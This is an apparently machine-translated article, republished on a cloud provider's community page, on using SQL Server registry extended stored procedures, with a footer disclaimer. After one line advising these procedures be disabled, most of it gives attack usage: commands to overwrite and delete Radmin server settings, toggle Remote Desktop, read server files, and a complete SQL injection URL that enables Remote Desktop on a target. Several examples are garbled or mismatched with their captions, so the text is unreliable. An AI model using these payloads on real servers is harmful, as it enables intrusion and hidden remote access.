SQL Server contains several extended stored procedures that can access the system registry. But in fact these extended stored procedures are not exposed, from SQL Server 7.0,
Still retained in SQL Server 2000, they may be deleted later. But these stored procedures provide the ability to access the system registry in the current version of SQL Server,
And many people use SQL Server to attack the system, often use these extended stored procedures. So it's best to disable them in SQL Server.
Xp_regenumvalues returns all key values in more than one recordset
How to use:
Xp_regenumvalues registry root Key, subkey
For example, to see all the key values of HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run:
EXEC xp_regwrite ' HKEY_LOCAL_MACHINE ', ' system\radmin\v2.0\server\parameters ', ' Parameter ', ' reg_binary ', ';
Must be emptied before new values are written
The prerequisite for a successful modification is that the value is null
Note that the value type has 2 REG_SZ representing the character type, which is equivalent to creating a new string value, REG_DWORD representing an integral type, and the equivalent of creating a new DWORD value
REG_Binary
EXEC xp_regwrite ' HKEY_LOCAL_MACHINE ', ' system\currentcontrolset\control\terminal Server ', ' fdenytsconnections ', ' REG_DWORD ', 1;--
Disable Remote Desktop
Xp_regdeletevalue Delete a value
How to use:
Xp_regdeletevalue root key, subkey, Value name
EXEC xp_regdeletevalue ' HKEY_LOCAL_MACHINE ', ' software\microsoft\windows\currentversion ', ' TestValueName '
Use master
EXEC xp_regdeletevalue ' HKEY_LOCAL_MACHINE ', ' system\radmin\v2.0\server\parameters ', ' Parameter '
Xp_regdeletekey Delete key, including all values under this key
How to use:
Use master
Xp_regdeletekey ' HKEY_LOCAL_MACHINE ', ' Software\microsoft\windows\currentversion\testkey '
EXEC xp_regdeletekey ' HKEY_LOCAL_MACHINE ', ' System\radmin\v2.0\server\parameters '
Run Prerequisites SA
May use is not very big, also did not study deeply, because thinks reads the ASP to use Xp_makecab more convenient point, only for the thought expands.
Method 1.bulk insert AAA from ' c:\1.txt '
Method 2.xp_readerrorlog 1, ' C:\1.txt '
Open Remote Desktop Http://192.168.200.188/product_list.asp?classid=14;exec master. Xp_regwrite ' HKEY_LOCAL_MACHINE ', ' system\currentcontrolset\control\terminal Server ', ' fdenytsconnections ', ' REG_ DWord ', 0;--
The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion;
products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the
content of the page makes you feel confusing, please write us an email, we will handle the problem
within 5 days after receiving your email.
If you find any instances of plagiarism from the community, please send an email to:
info-contact@alibabacloud.com
and provide relevant evidence. A staff member will contact you within 5 working days.